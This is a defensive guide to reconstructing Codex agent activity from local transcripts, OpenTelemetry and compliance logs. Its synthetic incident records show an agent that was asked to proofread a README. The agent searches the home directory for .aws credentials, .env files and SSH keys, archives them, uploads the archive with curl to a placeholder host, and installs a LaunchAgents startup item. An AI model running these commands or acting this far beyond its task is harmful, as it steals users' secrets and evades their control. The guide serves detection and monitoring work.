Logging in Codex: what did the agent actually do?

tl;dr

By the end of this article, you will be able to:

• locate and distinguish local Codex transcripts, prompt history, desktop application logs, opt-in OpenTelemetry, and centrally exported CODEX_LOG files;
• read the observed local Codex transcript structure and reconstruct an ordered session sequence;
• recognise three suspicious patterns: credential discovery, collection and transfer, and persistence outside the workspace;
• configure OTel export and understand which data Codex and the operator control;
• retrieve immutable compliance files and join prompt, tool, decision, and result events;
• choose the right starting source for a detection while preserving source provenance;
• explain what these records contribute to an investigation and what they cannot prove.

Overview

Codex can read a repository, run shell commands, call tools, and change files. The chat window shows the conversation. Local Codex transcripts preserve a more detailed record of the session.

On a Mac, local Codex transcripts, prompt history, and desktop application logs record different parts of that activity. When OTel export is configured, Codex can also send selected events, metrics, and traces to an organisation-controlled collector. Eligible managed workspaces can retrieve prompt, response, tool-call, decision, and lifecycle events from OpenAI’s Compliance Logs Platform.

This guide maps each source to the security question it can answer. It then explains the local Codex transcript structure, reconstructs suspicious action sequences, configures OTel export, retrieves CODEX_LOG files, and compares the three security evidence planes. File formats and fields can change between releases, so verify local observations and central joins against the versions and clients you operate.

Five sources, five different jobs

Codex activity can appear in five sources, depending on local settings, workspace eligibility, and whether OTel export is enabled:

Do history.jsonl and local Codex transcripts overlap?

Yes. In the Codex version examined for this article, the same user prompt can appear in both places, while each source serves a different purpose:

history.jsonl is a separate, cross-session prompt history with its own persistence setting. A local Codex transcript is the richer record of one conversation, including its context, messages, tool calls, tool results, and lifecycle events.

For a known session, start with its local Codex transcript. Use history.jsonl to scan prompts across sessions or identify which conversation to inspect. The local Codex transcript then shows the agent activity that followed a prompt.

History persistence defaults to save-all. After Codex has written prompt history, the file is normally stored at ${CODEX_HOME:-$HOME/.codex}/history.jsonl. Common reasons it may be absent include a new installation, a different CODEX_HOME, or this user-level configuration:

[history]
persistence = "none"

Both files can contain prompts, code, paths, or other sensitive data. Do not share them without reviewing and redacting their contents.

Why desktop logs are different again

Desktop logs describe what the application and its supporting components are doing. Local Codex transcripts describe work performed through the agent. For example, a desktop warning from a Git file watcher means the application had trouble monitoring repository state. Evidence that the agent executed git comes from a tool-call record in the local Codex transcript, ideally paired with its tool result.

The desktop diagnostic stream mostly explains application behaviour, which gives it limited detection value. We include its location for completeness, then focus on local Codex transcripts and OpenTelemetry.

A tool call recorded in a local Codex transcript provides strong evidence of agent activity while remaining an incomplete operating-system audit trail. OpenTelemetry supports central collection after someone configures it.

Read the local Codex transcript

A local investigation becomes easier when you treat it as one path through the evidence:

1. Find and select one local Codex transcript.
2. Reconstruct the session, turn, calls, results, and lifecycle.
3. Compare that sequence with the scope of the user’s task.

Each step narrows the question. Start with which file belongs to this session? and finish with does the recorded behaviour make sense for the task?

Step 1: Find the records on macOS

On macOS, Codex session records live under CODEX_HOME, which defaults to ~/.codex. Desktop diagnostic logs live separately under the macOS Library. The common locations are:

~/.codex/sessions/
~/.codex/archived_sessions/
~/Library/Logs/com.openai.codex/YYYY/MM/DD/

If an organisation changes CODEX_HOME, the session and archived-session directories move with it. Desktop diagnostic logs remain under the macOS Library path. See the Codex troubleshooting guide for the current paths and guidance on sharing logs safely.

Start by checking the installed version. The desktop application keeps a compatibility bundle at this path:

/Applications/Codex.app/Contents/Resources/codex --version

Then list the local Codex transcripts without opening their contents:

find "${CODEX_HOME:-$HOME/.codex}/sessions" \
  -type f -name '*.jsonl' -print

Archived sessions use the same approach:

find "${CODEX_HOME:-$HOME/.codex}/archived_sessions" \
  -type f -name '*.jsonl' -print

Desktop logs are organised into date directories:

find "$HOME/Library/Logs/com.openai.codex" \
  -type f -name '*.log' -print

These files can contain sensitive information. Review their contents before sharing or uploading them.

Step 2: Read the observed local Codex transcript structure

The following families and fields were observed in local Codex transcripts written by Codex 0.153.4. OpenAI does not currently publish a schema for these on-disk files. Its version-specific App Server schema covers a separate JSON-RPC interface, not local transcript storage. Treat the fields below as version-specific implementation details and test parsers against the Codex versions you operate. The examples retain observed field names and nesting, with replacement identifiers, paths, times, prompts, and outputs.

A local Codex transcript uses JSON Lines: each line is one complete JSON object. This example is pretty-printed so the structure is easier to see:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"git status --short\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

The first type identifies the record family: this record is a response_item. The type inside payload identifies the specific response: this one is a function_call. The table below shows the other values that can appear. payload.arguments is a JSON-encoded string, so a parser may need to decode it separately.

To see which families actually exist in one local Codex transcript, choose the file explicitly and list only the outer and inner types:

session_file="$HOME/.codex/sessions/YYYY/MM/DD/example.jsonl"
jq -r '[.type, (.payload.type // "-")] | @tsv' "$session_file" \
  | sort -u

Session metadata identifies the producer

session_meta identifies the session and its producer context. It can connect the local Codex transcript to a Codex version, launch source, working directory, model provider, and Git context.

{
  "timestamp": "2026-09-21T09:29:55.000Z",
  "type": "session_meta",
  "ordinal": 0,
  "payload": {
    "id": "session_example_01",
    "cwd": "/Users/alex/projects/example",
    "originator": "codex_desktop",
    "cli_version": "0.153.4",
    "source": "desktop",
    "model_provider": "openai",
    "git": {
      "branch": "codex/logging-demo",
      "repository_url": "https://github.com/example/example.git"
    }
  }
}

This record is valuable during upgrades: if a parser suddenly stops recognising a field, cli_version helps distinguish a schema change from malformed data.

Turn context establishes the expected boundary

One session can contain many user turns. A turn_context record describes the environment for a particular turn:

{
  "timestamp": "2026-09-21T09:29:58.000Z",
  "type": "turn_context",
  "ordinal": 12,
  "payload": {
    "turn_id": "turn_example_01",
    "root_turn_id": "turn_example_01",
    "cwd": "/Users/alex/projects/example",
    "model": "example-model",
    "approval_policy": "on-request",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "collaboration_mode": {
      "kind": "default"
    }
  }
}

Think of cwd and workspace_roots as the expected neighbourhood. If a later call reads ~/.ssh, writes to ~/Library/LaunchAgents, or stages files from another repository, the contrast is immediately visible. Approval, sandbox, and permission fields record configured controls. Validating the safety of resulting actions requires additional evidence.

Response items contain the observable work

response_item is a broad container. Its inner payload.type distinguishes messages, reasoning summaries, tool calls, tool outputs, and compaction records. Private model reasoning may be absent or summarised. For security work, the observable call, its arguments, its output, and the context around it are the useful evidence.

A benign call and its result look like this:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"npm test\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.120Z",
  "type": "response_item",
  "ordinal": 19,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_01",
    "output": "Process exited with code 0\nFinal output:\n42 tests passed"
  }
}

The same call_id joins intent to outcome. The first record says what Codex asked the tool to do; the second says what the tool returned. Arguments may themselves be JSON-encoded strings, so a collector may need to decode a second layer.

To isolate these pairs without printing unrelated prompts or messages:

jq -c '
  select(
    .type == "response_item" and
    (.payload.type | test("^(function|custom_tool)_call(_output)?$"))
  )
' "$session_file"

Lifecycle records show whether the turn ended cleanly

event_msg records give activity a beginning and an end. Observed inner types include task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, and token_count.

{
  "timestamp": "2026-09-21T09:29:58.100Z",
  "type": "event_msg",
  "ordinal": 13,
  "payload": {
    "type": "task_started",
    "turn_id": "turn_example_01"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.300Z",
  "type": "event_msg",
  "ordinal": 20,
  "payload": {
    "type": "task_complete",
    "turn_id": "turn_example_01",
    "last_agent_message": "Tests pass."
  }
}

An aborted turn is still worth retaining. A tool call may have completed before the user stopped the task. Completed file writes or network requests survive the interruption.

With the structure mapped, you can stop reading records in isolation and ask whether the sequence stays within the task’s expected scope.

Step 3: Recognise suspicious activity

The examples in this section are synthetic scenarios built from the locally observed Codex record shape. Names and paths are fictional, secrets are placeholders, and .invalid makes the network destination deliberately non-operational.

No single command below proves malicious intent. The signal comes from the mismatch between the user’s task, the configured workspace, and the sequence of actions.

Pattern 1: secret discovery outside the workspace

Suppose the turn began in /Users/alex/projects/example, but the next call searches the home directory for common credential files:

{
  "timestamp": "2026-09-21T10:04:12.000Z",
  "type": "turn_context",
  "ordinal": 31,
  "payload": {
    "turn_id": "turn_example_02",
    "cwd": "/Users/alex/projects/example",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "approval_policy": "on-request"
  }
}

{
  "timestamp": "2026-09-21T10:04:13.500Z",
  "type": "response_item",
  "ordinal": 32,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_02",
    "arguments": "{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials' -o -path '*/.ssh/id_*'\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

Why it stands out: the target expands from one repository to the whole home directory, and the filenames indicate credential discovery. That deserves review even if the command failed or required approval.

Pattern 2: collection followed by an outbound transfer

Individual commands can appear ambiguous. In sequence, an archive of configuration files followed by a network upload shows a collection-and-transfer pattern:

{
  "timestamp": "2026-09-21T10:05:01.000Z",
  "type": "response_item",
  "ordinal": 40,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_03",
    "arguments": "{\"cmd\":\"tar -czf /tmp/project-config.tgz .env config/\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:05:01.400Z",
  "type": "response_item",
  "ordinal": 41,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_03",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:05:03.000Z",
  "type": "response_item",
  "ordinal": 42,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_04",
    "arguments": "{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

Why it stands out: sensitive-looking files are packaged, written to a temporary location, and then supplied to a network client. The timestamps and ordinals preserve the order; each call_id connects a call to its own result.

Pattern 3: persistence outside the repository

A coding task rarely needs to install a per-user startup item:

{
  "timestamp": "2026-09-21T10:06:22.000Z",
  "type": "response_item",
  "ordinal": 51,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_05",
    "arguments": "{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.180Z",
  "type": "response_item",
  "ordinal": 52,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_05",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.300Z",
  "type": "event_msg",
  "ordinal": 53,
  "payload": {
    "type": "turn_aborted",
    "turn_id": "turn_example_02",
    "reason": "interrupted"
  }
}

Why it stands out: the destination is a macOS persistence location outside the declared workspace. The empty successful output suggests the copy completed. The later abort records only that the turn stopped and contains no reversal event.

Treat these examples as triage clues. Production detections need sequence, scope mismatch, and surrounding context to support a decision.

Putting it all together

In this synthetic incident, the user asks Codex to review one README file. The recorded activity then searches for credentials outside the repository, creates an archive, attempts to upload it, installs a startup item, and ends only when the turn is interrupted.

An end-to-end JSONL file for that incident would look like this. Each line is one complete event:

{"timestamp":"2026-09-21T10:04:10.000Z","type":"session_meta","ordinal":0,"payload":{"id":"session_example_02","cwd":"/Users/alex/projects/example","originator":"codex_desktop","cli_version":"0.153.4","source":"desktop","model_provider":"openai","git":{"branch":"main","repository_url":"https://github.com/example/example.git"}}}
{"timestamp":"2026-09-21T10:04:11.000Z","type":"response_item","ordinal":1,"payload":{"type":"message","role":"user","content":[{"type":"input_text","text":"Review README.md for spelling and clarity. Do not change anything outside this repository."}]}}
{"timestamp":"2026-09-21T10:04:11.100Z","type":"turn_context","ordinal":2,"payload":{"turn_id":"turn_example_02","cwd":"/Users/alex/projects/example","workspace_roots":["/Users/alex/projects/example"],"approval_policy":"on-request"}}
{"timestamp":"2026-09-21T10:04:11.200Z","type":"event_msg","ordinal":3,"payload":{"type":"task_started","turn_id":"turn_example_02"}}
{"timestamp":"2026-09-21T10:04:13.500Z","type":"response_item","ordinal":4,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_02","arguments":"{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials'\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:04:13.900Z","type":"response_item","ordinal":5,"payload":{"type":"function_call_output","call_id":"call_example_02","output":"Process exited with code 0\nFinal output:\n/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env\n"}}
{"timestamp":"2026-09-21T10:05:01.000Z","type":"response_item","ordinal":6,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_03","arguments":"{\"cmd\":\"tar -czf /tmp/project-config.tgz .env $HOME/.aws/credentials\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:01.400Z","type":"response_item","ordinal":7,"payload":{"type":"function_call_output","call_id":"call_example_03","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:05:03.000Z","type":"response_item","ordinal":8,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_04","arguments":"{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:03.300Z","type":"response_item","ordinal":9,"payload":{"type":"function_call_output","call_id":"call_example_04","output":"Process exited with code 6\nFinal output:\ncurl: could not resolve host: collector.example.invalid\n"}}
{"timestamp":"2026-09-21T10:06:22.000Z","type":"response_item","ordinal":10,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_05","arguments":"{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:06:22.180Z","type":"response_item","ordinal":11,"payload":{"type":"function_call_output","call_id":"call_example_05","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:06:22.300Z","type":"event_msg","ordinal":12,"payload":{"type":"turn_aborted","turn_id":"turn_example_02","reason":"interrupted"}}

Move from one Mac to OpenTelemetry

Reading JSONL works for one developer and one incident. Fleet operations require central retention, host coverage, access control, and consistent search.

Codex supports opt-in OpenTelemetry export for structured events, metrics, and traces. OpenAI documents event types covering conversation starts, API and streaming activity, user prompts, tool decisions, and tool results. The export is disabled by default.

Configuration belongs in the user-level ~/.codex/config.toml. Codex ignores otel settings placed in a project-local .codex/config.toml, preventing a repository from redirecting telemetry itself.

Who decides what is logged?

There are two layers of control. Codex defines the event names and the fields available in each event. The person or administrator configuring the Mac controls which telemetry pipelines leave the machine, where they go, and whether raw user prompt text is included.

This example enables structured logs, traces, and raw user prompt text. It disables the metrics exporter because aggregate counters are outside this detection path. Add it to the user-level ~/.codex/config.toml, then replace the collector address and header with values for your environment. The available values are listed in OpenAI’s Codex configuration reference.

[otel]
environment = "production"
log_user_prompt = true
exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
metrics_exporter = "none"
trace_exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }

Each setting has one job:

• environment = "production" adds an environment label to every emitted event. Use it to separate development, staging, and production data in the collector.
• exporter sends structured codex.* log events using OTLP over gRPC. Its nested endpoint and headers values configure the collector connection.
• metrics_exporter = "none" keeps aggregate counters out of this detection-focused pipeline.
• trace_exporter exports traces using OTLP over gRPC and supplies its collector connection.
• log_user_prompt = true includes raw prompt text in codex.user_prompt events. Set it to false when the collector should receive prompt length without the prompt text.
• endpoint is the organisation-controlled collector address. example.invalid is reserved and will not send data anywhere.
• headers adds authentication or routing metadata. ${OTLP_TOKEN} is read from the environment, which keeps the token out of this configuration file.

This configuration sends the most telemetry Codex exposes through these controls. Raw prompts, tool arguments, result details, and output snippets can be sensitive, so the collector needs appropriate retention, redaction, and access controls.

Codex still defines which event types and fields exist. The settings do not provide a per-event allowlist or guarantee full tool output. For example, codex.tool_result contains an output snippet. Keep the local Codex transcript when an investigation needs the richer record. The differences among the evidence planes are covered in search all three sources with shared fields.

Codex product analytics are configured separately from these OTel exporters.

The stream is a sequence of selected events

Codex leaves the session JSONL file in its local store. It creates new telemetry events, batches them asynchronously, and exports those batches using OTLP over HTTP or gRPC. Pending events are flushed when Codex shuts down.

Every event carries shared context such as the service name, Codex version, configured environment, conversation identifier, model, and sandbox or approval settings. The named event then adds its own fields. A collector or SIEM typically flattens that OTel envelope into something easier to query.

The following example is an illustrative, collector-normalised view of a codex.tool_result event. It uses the documented categories of data. Collector mapping determines the exact raw OTLP payload and field names:

{
  "resource": {
    "service": "codex",
    "codex_version": "0.153.4",
    "environment": "production"
  },
  "event": {
    "name": "codex.tool_result",
    "timestamp": "2026-09-21T10:05:01.400Z",
    "common_attributes": {
      "conversation_id": "conversation_example_01",
      "model": "example-model",
      "sandbox_policy": "workspace-write",
      "approval_policy": "on-request"
    },
    "attributes": {
      "duration_ms": 412,
      "success": true,
      "output": "Process exited with code 0; output snippet follows"
    }
  }
}

The exact OTLP wire representation depends on the selected protocol, and the field layout visible in a destination depends on how its collector maps resource attributes, log bodies, and event attributes. Treat the event name and documented semantics as the stable concepts; test the actual output of the Codex version and collector you operate before writing a parser.

One action can therefore produce different evidence in each source:

1. The local Codex transcript may contain a function_call with the full encoded command and a separate function_call_output joined by call_id.
2. OTel may emit a codex.tool_decision describing whether the action was approved and where that decision came from.
3. OTel may then emit a codex.tool_result summarising duration, success, and an output snippet.

Representative documented log events include:

OTel can also export counters and duration histograms. For example, codex.tool.call can be grouped by tool and success, with codex.tool.call.duration_ms recording duration. Metrics answer volume and timing questions. Event or transcript records carry command or patch content.

Putting the OTel sequence together

The same synthetic incident could produce a central OTel view like the compact sequence below. This is an illustrative, collector-normalised representation. It is not a raw OTLP payload or a guaranteed event-for-event export. It uses documented event semantics and the preceding log_user_prompt = true setting.

{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.conversation_starts","timestamp":"2026-09-21T10:04:10.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"reasoning_setting":"example-setting"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.user_prompt","timestamp":"2026-09-21T10:04:11.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"prompt_length":90,"prompt":"Review README.md for spelling and clarity. Do not change anything outside this repository."}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:04:13.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:04:13.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":"/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:00.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:01.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":""}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:02.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:03.300Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":300,"success":false,"output_snippet":"curl: could not resolve host: collector.example.invalid"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:06:21.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:06:22.180Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":180,"success":true,"output_snippet":""}}}

This view exposes the conversation context, prompt, approval decisions, outcomes, timing, and selected result snippets. The prompt text appears because the preceding configuration enables log_user_prompt; with that setting disabled, the prompt length remains available while its content is redacted.

The sequence contains no full commands, complete outputs, transcript ordinals, call_id joins, or local turn_aborted record. Current official documentation also does not establish a per-call join between each decision and result. Shared conversation context and timestamps can support an investigation, but they do not show which exact command produced each result. Here, one snippet exposes credential-looking paths and another exposes the failed hostname. The two empty success snippets reveal no content about the archive creation or persistence write shown in the local transcript.

Retrieve prompt and action events from the Compliance Logs Platform

For eligible managed workspaces, the Compliance Logs Platform is a first-class detection source. It exposes centrally retained CODEX_LOG events for supported Codex activity, including local clients such as the CLI and IDE and web or cloud-delegated use. Eligibility, client coverage, and permissions still need validation in the target workspace. The OpenAI Admin API reference defines the event families and the fine-grained chatgpt.enterprise.compliance_logs_platform.codex_log.read scope.

This source uses an event-file retrieval model. A client first lists immutable files for a time window, then downloads each selected file:

GET /v1/compliance/workspaces/{workspace_id}/logs?event_type=CODEX_LOG&after={iso_8601_timestamp}
GET /v1/compliance/workspaces/{workspace_id}/logs/{log_file_id}

Equivalent organisation-scoped routes are documented. The list route returns file metadata, not the events themselves. Use an Admin API key scoped to the workspace and the least-privileged compliance permission available. The Compliance Logs Platform guide describes the file workflow and access model.

workspace_id="ws_EXAMPLE"
after="2026-09-21T00:00:00Z"

curl --fail-with-body --silent --show-error \
  --request GET \
  --get \
  --url "https://api.chatgpt.com/v1/compliance/workspaces/${workspace_id}/logs" \
  --data-urlencode "event_type=CODEX_LOG" \
  --data-urlencode "after=${after}" \
  --header "Authorization: Bearer ${OPENAI_ADMIN_KEY}"

The placeholders are deliberately inert. Keep the Admin key outside shell history and repositories, and write downloaded files only to an access-controlled evidence location. These files can contain prompts, responses, code, paths, tool arguments, and identifiers.

Map event families to detection questions

CODEX_LOG separates a session into explicit event families. Availability depends on the client and feature, so missing families remain a coverage question.

The broader catalogue also includes execution, environment, plugin, access-token, and MCP elicitation lifecycle events. Build rules only from families validated for the relevant Codex client. A fleet rule that assumes Cloud Agent TOOL_DECISION coverage for every local CLI action creates a silent visibility gap.

Join prompt, action, and outcome without inventing certainty

The useful chain is ordered and contextual:

Pivot on session_id, then use turn_id, call_id, or tool_call_id where the event family supplies them. Keep absent identifiers absent. A timestamp match can suggest a relationship, but it is not a deterministic join. Use the stable event_id for ingestion de-duplication, not as a semantic replacement for the action identifiers.

A high-value synthetic detection sequence is:

1. PROMPT_SENT limits work to one repository.
2. TOOL_CALL_SUGGESTED.tool_input targets a credential path outside that repository.
3. A covered TOOL_DECISION records approval, or the decision remains unknown for that client.
4. TOOL_CALL_COMPLETED records a successful Codex lifecycle outcome.
5. Endpoint file telemetry confirms a read, and proxy or destination-service logs confirm any later transfer.

This sequence is a triage signal. Repository migration, incident response, and user-authorised administration can produce similar activity. The prompt boundary, approval source, client coverage, and corroborating effect decide how strongly the sequence should be interpreted.

Collect continuously and preserve the delivery contract

The platform produces immutable files for roughly ten-minute windows, targets p99 delivery within 30 minutes, and retains files for 30 days. Delivery is at least once, late arrivals can appear, and duplicate events must be removed with stable event_id. The OpenAI Admin API reference describes those collection properties.

For durable detection, checkpoint the list cursor or time boundary, download every file before expiry, verify the acquired object, retain the raw JSONL, and de-duplicate during ingestion. Event timestamps may arrive out of order. Sort reconstructed activity by event time while keeping file identity and collector receipt time.

OpenAI does not document a public per-local-session Compliance endpoint trio equivalent to Anthropic’s session list, session detail, and session messages resources. This is a retrieval-model difference. It does not imply that centrally accessible Codex content is limited to analytics: CODEX_LOG exposes prompts, responses, serialized tool input, decisions for covered surfaces, and selected MCP results.

Compare the three Codex evidence planes

Search all three sources with shared fields

Each evidence plane is valuable to index. CODEX_LOG supplies centrally retained prompt and action events across eligible clients. OTel supplies live operational context, including policy, decisions, outcomes, timing, and tool-result snippets. A local Codex transcript supplies the version-specific session detail observed in Codex 0.153.4, including ordered messages, tool arguments, and tool results.

A normalisation layer can map source-specific values into shared search fields while retaining the raw record and fields that only one source supplies. These field names are an illustrative indexing design, not OpenAI or OpenTelemetry conventions:

Keep missing values absent. Record whether a serialized input was decoded, preserve the original value, and do not treat a requested action or successful lifecycle status as proof of its host or service effect.

For example, a local tool call, a nearby OTel decision, and a Compliance tool request from the synthetic incident can use the same search fields:

{"event.time":"2026-09-21T10:04:13.500Z","session.id":"session_example_02","event.kind":"response_item.function_call","action.name":"exec_command","action.input":{"cmd":"find /synthetic/home -name .env"},"source.kind":"codex_local_transcript","source.record_ref":"transcript:session_example_02:ordinal:4"}
{"event.time":"2026-09-21T10:04:13.400Z","session.id":"conversation_example_02","event.kind":"codex.tool_decision","action.decision":"approved","source.kind":"codex_otel","source.record_ref":"otel:collector-record-example-03"}
{"event.time":"2026-09-21T10:04:13.450Z","session.id":"compliance_session_example_02","event.kind":"TOOL_CALL_SUGGESTED","action.name":"exec_command","action.input":{"cmd":"find /synthetic/home -name .env"},"source.kind":"codex_compliance_log","source.record_ref":"compliance:file_example_07:event_example_19"}

The three session.id values are intentionally different. Do not equate the local session ID, OTel conversation ID, and Compliance session_id until that relationship has been validated for the deployed client, version, and collector. Keep turn_id, call_id, and tool_call_id as source-specific fields or separately normalised joins only when supplied. Without a validated join, a bounded time-and-context match is a candidate relationship. The Compliance event_id supports ingestion de-duplication, not action correlation.

Choose the starting source for the detection task

Start with Compliance CODEX_LOG for a centrally retained prompt-to-action sequence or an investigation spanning eligible clients. It can supply prompt and response content, serialized tool input, lifecycle status, covered decisions, and selected MCP result previews. Collect the immutable files continuously because they expire after 30 days.

Start with OTel for live operator-controlled runtime monitoring. Its configured collector path, codex.* events, shared context, and metrics support policy outcomes, failures, alerts, and fleet trends when the required exporter and content gates are enabled.

Start with the local Codex transcript for the most detailed reconstruction of one available endpoint session. It may preserve exact tool arguments and fuller results, while remaining mutable, host-scoped, and version-specific.

When more than one plane exists, search all of them. Correlate through validated identifiers or label a bounded time-and-context match as a candidate. Use endpoint, Git, identity, network, or destination-service records to verify consequential effects.

What these records can and cannot tell you

Start with the question you need to answer. Use a local Codex transcript to reconstruct one session, OTel for live runtime visibility, and CODEX_LOG for centrally retained prompt and action events across eligible clients. Preserve source provenance when normalising any of them, and validate consequential findings against the wider environment.

We publish these routes, fields, observed structures, and limitations so other teams can reproduce and challenge the evidence model. The same research guides our product design: retain raw records, preserve content and truncation state, validate joins per client version, and detect ordered activity across agent telemetry and independent systems of record.